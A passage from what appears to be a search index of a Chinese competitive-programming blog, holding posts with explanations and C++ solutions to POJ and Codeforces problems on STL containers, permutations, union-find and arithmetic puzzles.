\u003cmap\u003e 17 #include \u003cstack\u003e 18 #include \u003cqueue\u003e 19 20 using namespace std; 21 typedef long long LL; 22 const int inf = 8E8; 23 stack\u003cstring\u003e backstack; 24 stack\u003cstring\u003e forwardstack; 25 string cur; 26 string cmd; 27 int main() 28 { 29 cur =\"http://www.acm.org/\"; 30 31 while (cin\u003e\u003ecmd) 32 { 33 if (cmd==\"QUIT\") 34 { 35 break; 36 } 37 if (cmd==\"BACK\") 38 { 39 if (backstack.empty()) 40 { 41 cout\u003c\u003c\"Ignored\"\u003c\u003cendl; 42 continue; 43 } 44 forwardstack.push(cur); 45 cur=backstack.top(); 46 backstack.pop(); 47 cout\u003c\u003ccur\u003c\u003cendl; 48 } 49 if (cmd==\"FORWARD\") 50 { 51 if (forwardstack.empty()) 52 { 53 cout\u003c\u003c\"Ignored\"\u003c\u003cendl; 54 continue; 55 } 56 backstack.push(cur); 57 cur=forwardstack.top(); 58 forwardstack.pop(); 59 cout\u003c\u003ccur\u003c\u003cendl; 60 } 61 if (cmd==\"VISIT\") 62 { 63 backstack.push(cur); 64 65 cin\u003e\u003ecur; 66 while (!forwardstack.empty()) forwardstack.pop(); 67 cout\u003c\u003ccur\u003c\u003cendl; 68 69 } 70 } 71 72 73 return 0; 74 }","tags":["stl"],"title":"POJ 1028 Web Navigation","type":"post"},{"categories":["ACM"],"content":"题目链接：http://poj.org/problem?id=2643 在考stl的map… 我是定义了一个string 指向string的，表示参选人和党派的关系，和一个string 指向int的，表示某个党派被投票的次数。 需要注意的是！！！ 需要注意的是！！！ 需要注意的是！！！ 字符串读入部分… 在输入n和m之后，会有一个回车符没读进去…(大概是这样？) 如果不处理一下的话，后面的字符串就会少读入一个…(sad) 解决的办法是在读完n和m之后写一个getchar(); 把回车符读掉。 1 2 3 /* *********************************************** 4 Author :111qqz 5 Created Time :2016年02月19日 星期五 15时44分55秒 6 File Name :2643.cpp 7 ************************************************ */ 8 9 #include \u003calgorithm\u003e 10 #include \u003ccstdio\u003e 11 #include \u003ciostream\u003e 12 #include \u003ccstring\u003e 13 #include \u003cstring\u003e 14 #include \u003ccmath\u003e 15 #include \u003cmap\u003e 16 #include \u003cstack\u003e 17 #include \u003cqueue\u003e 18 19 using namespace std; 20 typedef long long LL; 21 const int inf = 8E8; 22 int n,m; 23 string ans; 24 map\u003cstring,string\u003em1; 25 map\u003cstring,int\u003em2; 26 string c_name,p_name; 27 char ch; 28 int main() 29 { 30 cin\u003e\u003en; 31 getchar(); 32 for ( int i = 1 ; i \u003c= n ; ++i ) 33 { 34 getline(cin,c_name); 35 36 getline(cin,p_name); 37 m1[c_name]=p_name; 38 } 39 cin\u003e\u003em; 40 getchar(); 41 for ( int i = 1 ; i \u003c= m ; i++ ) 42 { 43 getline(cin,c_name); 44 m2[c_name]++; 45 } 46 map\u003cstring,int\u003e::iterator it; 47 int mmax=-1; 48 for (it=m2.begin();it!=m2.end();it++) 49 { 50 if (it-\u003esecond\u003emmax) 51 { 52 mmax=it-\u003esecond; 53 ans = m1[it-\u003efirst]; 54 } 55 } 56 int p = 0; 57 for ( it = m2.begin();it!=m2.end();it++) 58 { 59 if (it-\u003esecond==mmax) 60 { 61 p++; 62 } 63 } 64 if (p!=1) 65 { 66 ans=\"tie\"; 67 } 68 69 cout\u003c\u003cans\u003c\u003cendl; 70 71 72 73 return 0; 74 }","date":"2015-07-08","externalUrl":null,"permalink":"/2015/07/poj2643/","section":"Posts","summary":"题目链接：http://poj.org/problem?id=2643","tags":["map","stl"],"title":"poj 2643 election","type":"post"},{"categories":["ACM"],"content":"http://acm.hdu.edu.cn/showproblem.php?pid=1908 看到有两个优先级，然后题目中又有queue。。。就想到了优先队列。。。 但是优先队列的cmp函数没搞懂，因为比较的是结构体，好像要重载\u003c 什么的。 然而并不会。 其实用map就可以做。。。 map在插入的时候可以自动按关键字排序，简直好评如潮！ 1 2 3 /* *********************************************** 4 Author :111qqz 5 Created Time :2016年02月19日 星期五 15时44分06秒 6 File Name :3481.cpp 7 ************************************************ */ 8 9 #include \u003calgorithm\u003e 10 #include \u003ccstdio\u003e 11 #include \u003ciostream\u003e 12 #include \u003ccstring\u003e 13 #include \u003cstring\u003e 14 #include \u003ccmath\u003e 15 #include \u003cmap\u003e 16 #include \u003cstack\u003e 17 #include \u003cqueue\u003e 18 19 using namespace std; 20 typedef long long LL; 21 const int inf = 8E8; 22 23 24 25 int cmd; 26 map\u003cint,int\u003ea; 27 int p,k; 28 29 int main() 30 { 31 32 while (scanf(\"%d\",\u0026cmd)!=EOF\u0026\u0026cmd) 33 { 34 if (cmd==1) 35 { 36 scanf(\"%d %d\",\u0026k,\u0026p); 37 a[p]=k; 38 } 39 if (cmd==2) 40 { 41 if (a.empty()) 42 { 43 cout\u003c\u003c\"0\"\u003c\u003cendl; 44 } 45 else 46 { 47 cout\u003c\u003ca.rbegin()-\u003esecond\u003c\u003cendl; 48 a.erase(a.find(a.rbegin()-\u003efirst)); 49 } 50 } 51 if ( cmd==3 ) 52 { 53 if (a.empty()) 54 { 55 cout\u003c\u003c\"0\"\u003c\u003cendl; 56 } 57 else 58 { 59 cout\u003c\u003ca.begin()-\u003esecond\u003c\u003cendl; 60 a.erase(a.begin()); 61 } 62 } 63 } 64 65 return 0; 66 }","date":"2015-07-03","externalUrl":null,"permalink":"/2015/07/poj3481/","section":"Posts","summary":"http://acm.hdu.edu.cn/showproblem.php?pid=1908 看到有两个优先级，然后题目中又有queue。。。就想到了优先队列。。。","tags":["stl","优先队列"],"title":"poj 3481 double queues","type":"post"},{"categories":["ACM"],"content":"http://poj.org/problem?id=1833 还是next_permutation. 这次是Int类型的 需要注意的是next_permutation是先判断时候有后继，返回一个bool值，如果为true，就转化到后继。 而next_permutation函数本书不考虑其值，就具有转化成后继的作用。 而且默认最后一个排列的下一个排列是第一个排列。 1 2 3 /* *********************************************** 4 Author :111qqz 5 Created Time :2016年02月19日 星期五 15时43分58秒 6 File Name :1833.cpp 7 ************************************************ */ 8 9 #include \u003calgorithm\u003e 10 #include \u003ccstdio\u003e 11 #include \u003ciostream\u003e 12 #include \u003ccstring\u003e 13 #include \u003cstring\u003e 14 #include \u003ccmath\u003e 15 #include \u003cmap\u003e 16 17 using namespace std; 18 const int N=3E3+5; 19 int n ,m,k; 20 int a[N],b[N]; 21 22 int main() 23 { 24 cin\u003e\u003em; 25 while (m--) 26 { 27 cin\u003e\u003en\u003e\u003ek; 28 // k = k % n; 29 30 for ( int i = 0;i \u003c n ; i++ ) 31 { 32 scanf(\"%d\",\u0026a[i]); 33 } 34 while (k--) 35 { 36 next_permutation(a,a+n); 37 } 38 for ( int i = 0 ; i \u003c n ; i++ ) 39 { 40 printf(\"%d \",a[i]); 41 } 42 printf(\"\\n\"); 43 44 45 } 46 47 48 return 0; 49 }","date":"2015-07-02","externalUrl":null,"permalink":"/2015/07/poj1833/","section":"Posts","summary":"http://poj.org/problem?id=1833 还是next_permutation. 这次是Int类型的 需要注意的是next_permutation是先判断时候有后继，返回一个bool值，如果为true，就转化到后继。","tags":["stl"],"title":"poj 1833 排列","type":"post"},{"categories":["ACM"],"content":"http://poj.org/problem?id=1256 题意是说求出一个字符串的全排列，按字典序 需要注意的是字典序和传统意义上的字典序不同 重新定义了,A 需要自己重写cmp函数。 next_permutation好神….直接求出全排列….. 1 2 3 /* *********************************************** 4 Author :111qqz 5 Created Time :2016年02月19日 星期五 15时43分31秒 6 File Name :code/poj/1256.cpp 7 ************************************************ */ 8 9 #include \u003calgorithm\u003e 10 #include \u003ccstdio\u003e 11 #include \u003ciostream\u003e 12 #include \u003ccstring\u003e 13 #include \u003cstring\u003e 14 #include \u003ccmath\u003e 15 #include \u003cmap\u003e 16 17 using namespace std; 18 bool cmp(char a,char b) 19 { 20 char x = tolower(a); 21 char y = tolower(b); 22 if (x==y) 23 { 24 return a\u003cb; 25 } 26 else return x\u003cy; 27 } 28 int n; 29 string st; 30 31 int main() 32 { 33 cin\u003e\u003en; 34 while (n--) 35 { 36 37 cin\u003e\u003est; 38 sort(st.begin(),st.end(),cmp); 39 do 40 { 41 cout\u003c\u003cst\u003c\u003cendl; 42 }while (next_permutation(st.begin(),st.end(),cmp)); 43 } 44 45 46 return 0; 47 }","date":"2015-07-02","externalUrl":null,"permalink":"/2015/07/poj1256/","section":"Posts","summary":"http://poj.org/problem?id=1256 题意是说求出一个字符串的全排列，按字典序 需要注意的是字典序和传统意义上的字典序不同","tags":["stl"],"title":"poj 1256 Anagram","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/problemset/problem/548/B 比赛的时候不懂为什么就没做出来…. 其实很容易想到一个o(q*(n+m))的做法… 就是每次更新，要同时更新当前更新行的最大连续和….O（m）可以完成…然后在O（n）扫一遍，找到所有行中的最大值。 然后需要注意的是，在第一次更改之前就要把每个行的最大值处理出来l.. 然后cf机器真是够快，O(nmq)的1.2S过。。。。 1 2 3 4 5 6 7 8 /* *********************************************** 9 Author :111qqz 10 Created Time :2016年02月19日 星期五 17时01分58秒 11 File Name :code/cf/problem/548B.cpp 12 ************************************************ */ 13 14 #include \u003calgorithm\u003e 15 #include \u003ccstdio\u003e 16 #include \u003ciostream\u003e 17 #include \u003ccstring\u003e 18 #include \u003cstring\u003e 19 #include \u003ccmath\u003e 20 #include \u003cmap\u003e 21 22 using namespace std; 23 const int N=5E2+5; 24 int a[N][N]; 25 int fans; 26 int n,m,q,x,y,cur,ans[N]; 27 int main() 28 { 29 cin\u003e\u003en\u003e\u003em\u003e\u003eq; 30 for (int i = 1 ; i \u003c= n;i++ ) 31 { 32 for (int j = 1; j \u003c= m ; j++ ) 33 scanf(\"%d\",\u0026a[i][j]); 34 cur = 0; 35 for (int j = 1; j \u003c=m ;j++ ) 36 if (a[i][j]==1) 37 { 38 cur++; 39 ans[i]=max(cur,ans[i]); 40 } 41 else 42 { 43 cur = 0; 44 } 45 } 46 for ( int i = 1 ; i \u003c= q; i++ ) 47 { 48 scanf(\"%d %d\",\u0026x,\u0026y); 49 a[x][y]=a[x][y]^1; 50 // if (i==3) cout\u003c\u003ca[x][y]\u003c\u003c\"sadsadasd\"\u003c\u003cendl; 51 cur = 0; 52 ans[x]=0; 53 for (int j = 1; j \u003c=m ;j++ ) 54 if (a[x][j]==1) 55 { 56 cur++; 57 ans[x]=max(cur,ans[x]); 58 } 59 else 60 { 61 cur = 0; 62 } 63 fans=-1; 64 for (int j = 1;j \u003c= n ; j++ ) 65 if (ans[j]\u003efans) 66 { 67 fans=ans[j]; 68 } 69 cout\u003c\u003cfans\u003c\u003cendl; 70 } 71 72 73 return 0; 74 }","date":"2015-05-27","externalUrl":null,"permalink":"/2015/05/cf548b/","section":"Posts","summary":"http://codeforces.com/problemset/problem/548/B 比赛的时候不懂为什么就没做出来…. 其实很容易想到一个o(q*(n+m))的做法… 就是每次更新，要同时更新当前更新行的最大连续和….O（m）可以完成…然后在O（n）扫一遍，找到所有行中的最大值。 然后需要注意的是，在第一次更改之前就要把每个行的最大值处理出来l.. 然后cf机器真是够快，O(nmq)的1.2S过。。。。","tags":["brute force"],"title":"codeforces  548B  Mike and Fun","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/problemset/problem/548/A 水题。分割成K个，每个串判断是否回文，如果都是就yes，否则no 需要注意的是，可能不能正好分成长度相同的K个，这个时候也要No 1 2 3 4 5 /* *********************************************** 6 Author :111qqz 7 Created Time :2016年03月03日 星期四 14时09分08秒 8 File Name :code/cf/problem/548A.cpp 9 ************************************************ */ 10 11 #include \u003calgorithm\u003e 12 #include \u003ccstdio\u003e 13 #include \u003ciostream\u003e 14 #include \u003ccstring\u003e 15 #include \u003cstring\u003e 16 #include \u003ccmath\u003e 17 #include \u003cmap\u003e 18 19 using namespace std; 20 const int N=1E3+5; 21 char st[N]; 22 int k,len,ave; 23 bool ok(int l,int r) 24 { 25 for (int i = l ; i\u003c=(l+r)/2;i++) 26 if (st[i]!=st[l+r-i]) 27 return false; 28 return true; 29 } 30 31 int main() 32 { 33 cin\u003e\u003est; 34 cin\u003e\u003ek; 35 len = strlen(st); 36 ave= len/k; 37 if (k*ave!=len){cout\u003c\u003c\"NO\"\u003c\u003cendl;return 0;} 38 for (int i = 1 ; i\u003c=k;i++ ) 39 { 40 if (!ok((i-1)*ave,i*ave-1)) 41 { 42 cout\u003c\u003c\"NO\"\u003c\u003cendl; 43 //cout\u003c\u003ci\u003c\u003cendl; 44 return 0; 45 } 46 47 } 48 cout\u003c\u003c\"YES\"\u003c\u003cendl; 49 50 51 52 return 0; 53 }","date":"2015-05-27","externalUrl":null,"permalink":"/2015/05/cf548a/","section":"Posts","summary":"http://codeforces.com/problemset/problem/548/A 水题。分割成K个，每个串判断是否回文，如果都是就yes，否则no","tags":["算法竞赛"],"title":"codeforces  548 A. Mike and Fax","type":"post"},{"categories":["ACM"],"content":"http://poj.org/problem?id=2492 Hint Huge input,scanf is recommended. 也是带种类的冰茶几。 由于只分了两类…我们还是可以按照上道题的做法。。 感觉完全是一样的题啊。。 结果一直WA。。。。 最后发现。。。我边读入边判断。。发现同性恋了就直接Break掉了。。。后面改组的数据读到下一组去了233，不WA就日了汪了。。。 还是把数据的读完再进行操作比较好== 1 2 3 4 /* *********************************************** 5 Author :111qqz 6 Created Time :2016年03月03日 星期四 13时37分36秒 7 File Name :code/poj/2492.cpp 8 ************************************************ */ 9 10 #include \u003ciostream\u003e 11 #include \u003calgorithm\u003e 12 #include \u003ccstring\u003e 13 #include \u003ccstdio\u003e 14 #include \u003ccmath\u003e 15 16 using namespace std; 17 18 const int N=2E5+7; 19 bool flag; 20 int f[N]; 21 int T,n,m,x,y; 22 char ch; 23 24 int root (int x) 25 { 26 if (f[x]!=x) 27 f[x] = root(f[x]); 28 return f[x]; 29 } 30 void u(int a,int b) 31 { 32 f[root(a)]=root(b); 33 } 34 int main() 35 { 36 scanf(\"%d\",\u0026T); 37 for ( int cas = 1 ; cas \u003c= T ; cas++ ) 38 { 39 for ( int i = 1 ; i \u003c N ; i++ ) 40 f[i] = i; 41 scanf(\"%d %d\",\u0026n,\u0026m); 42 flag = false; 43 for ( int i = 1 ; i \u003c= m ; i++ ) 44 { 45 46 scanf(\"%d %d\",\u0026x,\u0026y); 47 if (flag) 48 continue; 49 50 if (root(x)==root(y)||root(x+n)==root(y+n)) 51 { 52 53 flag = true; 54 } 55 u(x,y+n); 56 u(x+n,y); 57 } 58 if ( !flag ) 59 { 60 printf(\"Scenario #%d:\\n\",cas); 61 printf(\"No suspicious bugs found!\\n\"); 62 63 } 64 else 65 { 66 printf(\"Scenario #%d:\\n\",cas); 67 printf(\"Suspicious bugs found!\\n\"); 68 69 } 70 cout\u003c\u003cendl; 71 72 } 73 74 return 0; 75 }","date":"2015-04-17","externalUrl":null,"permalink":"/2015/04/poj2492/","section":"Posts","summary":"http://poj.org/problem?id=2492 Hint Huge input,scanf is recommended. 也是带种类的冰茶几。 由于只分了两类…我们还是可以按照上道题的做法。。","tags":["并查集"],"title":"poj 2492  A Bug's Life (并查集)","type":"post"},{"categories":["ACM"],"content":"http://poj.org/problem?id=1703 种类冰茶几…看到还有一种算是拓展的交加权冰茶几？ 看到有做法是在开一个数组。。。记录是哪一组…. 但是因为只有两组….我们可以分别存… 因为不知道每一个D的两个人分别是哪个组（帮派？） 可以都存一下。 TLE了两次….应该是用了cin的事。。。改成scanf就变WA了。。。 想了下。原来是我对“not sure yet”的判断出现失误。 我开了一个v数组，记录在D下出现的人。 我误以为出现的人的帮派一定是确定的。 实际上并不是。 比如 1,3 5,7 3和7都出现了。但是3和7是一组与否显然还是“not sure yet” 1 2 3 4 /* *********************************************** 5 Author :111qqz 6 Created Time :2016年03月03日 星期四 13时43分16秒 7 File Name :code/poj/1703.cpp 8 ************************************************ */ 9 10 #include \u003ciostream\u003e 11 #include \u003calgorithm\u003e 12 #include \u003ccstring\u003e 13 #include \u003ccstdio\u003e 14 #include \u003ccmath\u003e 15 16 using namespace std; 17 18 const int N=2E5+7; 19 bool v[N]; 20 int f[N]; 21 int T,n,m,x,y; 22 char ch; 23 24 int root (int x) 25 { 26 if (f[x]!=x) 27 f[x] = root(f[x]); 28 return f[x]; 29 } 30 void u(int a,int b) 31 { 32 f[root(a)]=root(b); 33 } 34 void ask(int a,int b) 35 { 36 //if (!v[a]||!v[b]) 37 // { 38 39 // return; 40 // } 41 if (root(a)==root(b)||root(a+n)==root(b+n)) 42 { 43 cout\u003c\u003c\"In the same gang.\"\u003c\u003cendl; 44 } 45 else if (root(a)==root(b+n)||root(a+n)==root(b)) 46 { 47 cout\u003c\u003c\"In different gangs.\"\u003c\u003cendl; 48 } 49 else 50 { 51 cout\u003c\u003c\"Not sure yet.\"\u003c\u003cendl; 52 } 53 } 54 55 56 int main() 57 { 58 cin\u003e\u003eT; 59 while (T--) 60 { 61 memset(v,false,sizeof(v)); 62 for ( int i = 0 ; i \u003c N ; i++ ) 63 f[i] = i; 64 scanf(\"%d %d\",\u0026n,\u0026m); 65 for ( int i = 1 ; i \u003c= m ; i++ ) 66 { 67 68 scanf(\"%s %d %d\",\u0026ch,\u0026x,\u0026y); 69 if (ch=='A') 70 { 71 ask(x,y); 72 } 73 else 74 { 75 v[x] = true; 76 v[y] = true; 77 u(x,y+n); 78 u(x+n,y); 79 } 80 } 81 } 82 return 0; 83 }","date":"2015-04-17","externalUrl":null,"permalink":"/2015/04/poj1703/","section":"Posts","summary":"http://poj.org/problem?id=1703 种类冰茶几…看到还有一种算是拓展的交加权冰茶几？ 看到有做法是在开一个数组。。。记录是哪一组…. 但是因为只有两组….我们可以分别存… 因为不知道每一个D的两个人分别是哪个组（帮派？） 可以都存一下。 TLE了两次….应该是用了cin的事。。。改成scanf就变WA了。。。 想了下。原来是我对“not sure yet”的判断出现失误。 我开了一个v数组，记录在D下出现的人。 我误以为出现的人的帮派一定是确定的。 实际上并不是。 比如 1,3 5,7 3和7都出现了。但是3和7是一组与否显然还是“not sure yet”","tags":["并查集"],"title":"poj 1703  Find them, Catch them (并查集)","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/problemset/problem/535/C 题读了好几遍才读懂。 题意是给出一个等差数列，操作严格要求从最左边不为零的连续m个数减去1，最多执行t次后问离最左边最远的位置在哪里。 有两个限制条件…一个是本身的si不能大于t，否则无法吃完。 还有一个是从sl到sr的和不能超过m*t (比赛的时候考虑的不周到。。实际上只有当r-l+1比m大的时候才是m，也就是说要取min(m,l-r+1)) 这题正解应该是二分….直接Lower_bound。。。看到也有人用前缀和搞的。 我是解方程了（貌似是个傻逼做法）…. 可以列出一个关于r的一元二次方程。。。然后求根公式2333 方程是： 然后再和第一个条件得到的r比较取小的就是结果….. 等周末把这题的二分解法也写一些。 下面是蒟蒻傻逼的数学方恒解法的代码： 1 2 3 /* *********************************************** 4 Author :111qqz 5 Created Time :2016年03月03日 星期四 13时49分13秒 6 File Name :code/cf/problem/535C.cpp 7 ************************************************ */ 8 9 #include \u003ciostream\u003e 10 #include \u003calgorithm\u003e 11 #include \u003ccstring\u003e 12 #include \u003ccmath\u003e 13 #include \u003ccstdio\u003e 14 15 using namespace std; 16 typedef long long LL; 17 const int N=1e5+5; 18 LL A,B,n,l,t,m,p,q,k,ans,a,b,c,dd,q2; 19 long double d,pp; 20 int main() 21 { 22 cin\u003e\u003eA\u003e\u003eB\u003e\u003en; 23 for ( int i = 1; i \u003c= n ; i++ ) 24 { 25 cin\u003e\u003el\u003e\u003et\u003e\u003em; 26 if ( t\u003cA+B*(l-1) ) 27 { 28 cout\u003c\u003c-1\u003c\u003cendl; 29 continue; 30 } 31 // l = A + (l-1)*B; //wtf。。。这行代码是什么鬼... 32 p = (int) ((t-A)/B); 33 p++; 34 a=B; 35 b=(2*A-B); 36 c=-B*l*l+3*B*l-2*m*t-2*A*l+2*A-2*B; 37 d=(-b+sqrt(b*b-4*a*c))/(2*a); 38 //cout\u003c\u003c\"a:\"\u003c\u003ca\u003c\u003cendl; 39 //cout\u003c\u003c\"b:\"\u003c\u003cb\u003c\u003cendl; 40 //cout\u003c\u003c\"c:\"\u003c\u003cc\u003c\u003cendl; 41 // cout\u003c\u003c\"d:\"\u003c\u003cd\u003c\u003cendl; 42 q = int (d); 43 q2 = int((2*t-2*A+2*B-l*B)/B); 44 // cout\u003c\u003c\"q1:\"\u003c\u003cq\u003c\u003cendl; 45 // cout\u003c\u003c\"q2:\"\u003c\u003cq2\u003c\u003cendl; 46 q = min(q,q2); 47 // cout\u003c\u003c\"p:\"\u003c\u003cp\u003c\u003cendl; 48 // cout\u003c\u003c\"q\"\u003c\u003cq\u003c\u003cendl; 49 ans = min (p,q); 50 cout\u003c\u003cans\u003c\u003cendl; 51 } 52 return 0; 53 }","date":"2015-04-16","externalUrl":null,"permalink":"/2015/04/cf535c/","section":"Posts","summary":"http://codeforces.com/problemset/problem/535/C 题读了好几遍才读懂。 题意是给出一个等差数列，操作严格要求从最左边不为零的连续m个数减去1，最多执行t次后问离最左边最远的位置在哪里。 有两个限制条件…一个是本身的si不能大于t，否则无法吃完。 还有一个是从sl到sr的和不能超过m*t (比赛的时候考虑的不周到。。实际上只有当r-l+1比m大的时候才是m，也就是说要取min(m,l-r+1)) 这题正解应该是二分….直接Lower_bound。。。看到也有人用前缀和搞的。 我是解方程了（貌似是个傻逼做法）…. 可以列出一个关于r的一元二次方程。。。然后求根公式2333 方程是：","tags":["math"],"title":"codeforces 535 C.Tavas and karafs (解方程)","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/problemset/problem/534/C 题意是说一共有N个骰子，第I个筛子一共有di面…现在知道这些骰子的点数之和，问对于每一个骰子不能取得值有多少个。 乍一看有点不明觉厉…稍微再想下，求取值范围即可。 先把所有di相加，得到所有骰子点数之和的最大值…然后点数之和的最小值当然就是N 对于每个骰子，将最大值和最小值减去这个骰子的对应数值…然后与总和A进行比较。 注意要开long long ！！！ 比赛的时候我明明写了typedef。。。结果后面还是忘记了。。。真是悲伤。 1 2 /* *********************************************** 3 Author :111qqz 4 Created Time :2016年03月03日 星期四 13时54分19秒 5 File Name :code/cf/problem/534C.cpp 6 ************************************************ */ 7 8 #include \u003ciostream\u003e 9 #include \u003calgorithm\u003e 10 #include \u003ccstring\u003e 11 #include \u003ccmath\u003e 12 #include \u003ccstdio\u003e 13 typedef long long LL; 14 const int N=2E5+7; 15 LL n,d[N],ans[N]; 16 LL A,MAX,MIN,TMAX,TMIN; 17 18 using namespace std; 19 20 int main() 21 { 22 scanf(\"%I64d %I64d\",\u0026n,\u0026A); 23 memset(ans,0,sizeof(ans)); 24 for ( int i = 1; i \u003c= n ;i ++ ) 25 scanf(\"%I64d\",\u0026d[i]); 26 MAX = 0; 27 MIN = n; 28 for ( int i = 1; i \u003c= n ; i++ ) 29 MAX = MAX + d[i]; 30 for ( int i = 1 ; i \u003c= n ; i++ ) 31 { 32 TMAX = MAX - d[i]; 33 TMIN = MIN - 1; 34 if (d[i]\u003e=(A-TMIN)) 35 { 36 ans[i] =ans[i]+d[i]-(A-TMIN); 37 } 38 if (A\u003e=TMAX+1) 39 { 40 ans[i] =ans[i]+A-TMAX-1; 41 } 42 43 } 44 for ( int i = 1; i \u003c n ; i++) 45 cout\u003c\u003cans[i]\u003c\u003c\" \"; 46 cout\u003c\u003cans[n]; 47 48 49 return 0; 50 }","date":"2015-04-14","externalUrl":null,"permalink":"/2015/04/cf534c/","section":"Posts","summary":"http://codeforces.com/problemset/problem/534/C 题意是说一共有N个骰子，第I个筛子一共有di面…现在知道这些骰子的点数之和，问对于每一个骰子不能取得值有多少个。","tags":["math"],"title":"codeforces  534 C  Polycarpus' Dice","type":"post"},{"categories":["ACM"],"content":"http://codeforces.com/problemset/problem/534/B 题意是说一辆车，每秒内的速度恒定…第I秒到第I+1秒的速度变化不超过D。初始速度为V1，末速度为V2，经过时间t，问最远能走多远。 策略就是尽可能加速…加到某个时间，如果在这个时间不开始减速就回不到V2了。 从后往前预处理下每秒钟能达到的最大速度（如果超过这个速度，将不能减回到V2） 1 2 /* *********************************************** 3 Author :111qqz 4 Created Time :2016年02月22日 星期一 23时49分32秒 5 File Name :code/cf/problem/534B.cpp 6 ************************************************ */ 7 8 #include \u003ciostream\u003e 9 #include \u003ccmath\u003e 10 #include \u003ccstring\u003e 11 #include \u003calgorithm\u003e 12 13 using namespace std; 14 const int N=1E2+5; 15 const int inf=8E9; 16 int a[N],m[N]; 17 int v1,v2,t,d,tmp,p,ans,n; 18 19 20 int main() 21 { 22 cin\u003e\u003ev1\u003e\u003ev2\u003e\u003et\u003e\u003ed; 23 p = inf; 24 memset(a,0,sizeof(a)); 25 a[1]= v1; 26 tmp = v2; 27 m[t]= v2; 28 for ( int i = t-1 ; i \u003e= 1; i--) 29 { 30 tmp = tmp+d; 31 m[i] = tmp; 32 } 33 for ( int i =2 ;i \u003c= t; i++ ) 34 { 35 if (a[i-1]+d\u003c=m[i]) 36 { 37 a[i] = a[i-1] + d; 38 } 39 else 40 { 41 a[i] = m[i]; 42 p = i; 43 break; 44 } 45 } 46 ans = 0; 47 for ( int i = p ; i \u003c= t; i++ ) 48 a[i] = m[i]; 49 for ( int i = 1; i \u003c= t ; i++ ) 50 { 51 if (i\u003cp) 52 ans = ans + a[i]; 53 else ans = ans + m[i]; 54 } 55 // for ( int i = 1; i \u003c= t ; i++) 56 // cout\u003c\u003c\"a[i]:\"\u003c\u003ca[i]\u003c\u003cendl; 57 cout\u003c\u003cans\u003c\u003cendl; 58 59 return 0; 60 }","date":"2015-04-14","externalUrl":null,"permalink":"/2015/04/cf534b/","section":"Posts","summary":"http://codeforces.com/problemset/problem/534/B 题意是说一辆车，每秒内的速度恒定…第I秒到第I+1秒的速度变化不超过D。初始速度为V1，末速度为V2，经过时间t，问最远能走多远。","tags":["math"],"title":"cf 534B. Covered Path","type":"post"},{"categories":["ACM"],"content":"B. Tavas and SaDDas time limit per test 1 second memory limit per test 256 megabytes input standard input output standard output Once again Tavas started eating coffee mix without water! Keione told him that it smells awful, but he didn’t stop doing that. That’s why Keione told his smart friend, SaDDas to punish him! SaDDas took Tavas’ headphones and told him: “If you solve the following problem, I’ll return it to you.” The problem is: You are given a lucky number n. Lucky numbers are the positive integers whose decimal representations contain only the lucky digits 4 and 7. For example, numbers 47, 744, 4 are lucky and 5, 17, 467 are not. If we sort all lucky numbers in increasing order, what’s the 1-based index of n? Tavas is not as smart as SaDDas, so he asked you to do him a favor and solve this problem so he can have his headphones back. Input The first and only line of input contains a lucky number n (1 ≤ n ≤ 109). Output Print the index of n among all lucky numbers. Sample test(s) input 4 output 1 input 7 output 2 input 77 output 6 题意是只由数字4和数字7组成的数称为lucky number。。。给出一个lucky number 问是第几个…. 看数据，，10^9.。。打表打法好啊！ 大概10S吧。。。出结果… 1 2#include \u003ciostream\u003e 3#include \u003calgorithm\u003e 4#include \u003ccstring\u003e 5#include \u003ccstdio\u003e 6#include \u003ccmath\u003e 7using namespace std; 8typedef long long LL; 9const int N=1E9+9; 10bool flag; 11int n,k,a[999999]={4,7,44,47,74,77,444,447,474,477,744,747,774,777,4444,4447,4474,4477,4744,4747,4774,4777,7444,7447,7474,7477,7744,7747,7774,7777,44444,44447,44474,44477,44744,44747,44774,44777,47444,47447,47474,47477,47744,47747,47774,47777,74444,74447,74474,74477,74744,74747,74774,74777,77444,77447,77474,77477,77744,77747,77774,77777,444444,444447,444474,444477,444744,444747,444774,444777,447444,447447,447474,447477,447744,447747,447774,447777,474444,474447,474474,","date":"2015-04-14","externalUrl":null,"permalink":"/2015/04/cf535btavasandsaddas/","section":"Posts","summary":"B. Tavas and SaDDas time limit per test 1 second memory limit per test 256 megabytes input standard input output standard output Once again Tavas started eating coffee mix without water! Keione told him that it smells awful, but he didn’t stop doing that. That’s why Keione told his smart friend, SaDDas to punish him! SaDDas took Tavas’ headphones and told him: “If you solve the following problem, I’ll return it to you.”","tags":["算法竞赛"],"title":"cf 535B Tavas and SaDDas","type":"post"},{"categories":["ACM"],"content":"A. Exam time limit per test 1 second memory limit per test 256 megabytes input standard input output standard output An exam for n students will take place in a long and narrow room, so the students will sit in a line in some order. The teacher suspects that students with adjacent numbers (i and i + 1) always studied side by side and became friends and if they take an exam sitting next to each other, they will help each other for sure. Your task is to choose the maximum number of students and make such an arrangement of students in the room that no two students with adjacent numbers sit side by side. Input A single line contains integer n (1 ≤ n ≤ 5000) – the number of students at an exam. Output In the first line print integer k – the maximum number of students who can be seated so that no two students with adjacent numbers sit next to each other. In the second line print k distinct integers _a_1, a_2, …, a__k (1 ≤ a__i ≤ n), where a__i is the number of the student on the i-th position. The students on adjacent positions mustn’t have adjacent numbers. Formally, the following should be true: |a__i - a__i + 1| ≠ 1 for all i from 1 to_k - 1. If there are several possible answers, output any of them. 题意是有n个数（1..n），问构造一个最长的数列，使得相邻元素的差的绝对值不等于1. 1,2,3,4特判下。 剩下的直接先走奇数，后走偶数构造即可。 1 2 3 /* *********************************************** 4 Author :111qqz 5 Created Time :2016年02月22日 星期一 23时46分25秒 6 File Name :code/cf/problem/534A.cpp 7 ************************************************ */ 8 9 #include \u003ciostream\u003e 10 #include \u003calgorithm\u003e 11 #include \u003ccstdio\u003e 12 #include \u003ccmath\u003e 13 #include \u003ccstring\u003e 14 using namespace std; 15 const int N=5E3+7; 16 int a[N],n,k,tmp; 17 18 int main() 19 { 20 cin\u003e\u003en; 21 memset(a,0,sizeof(a)); 22 if (n\u003c=2) 23 { 24 25 k = 1; 26 a[1] = 1; 27 cout\u003c\u003ck\u003c\u003cendl; 2","date":"2015-04-13","externalUrl":null,"permalink":"/2015/04/cf534a/","section":"Posts","summary":"A. Exam time limit per test 1 second memory limit per test 256 megabytes input standard input output standard output An exam for n students will take place in a long and narrow room, so the students will sit 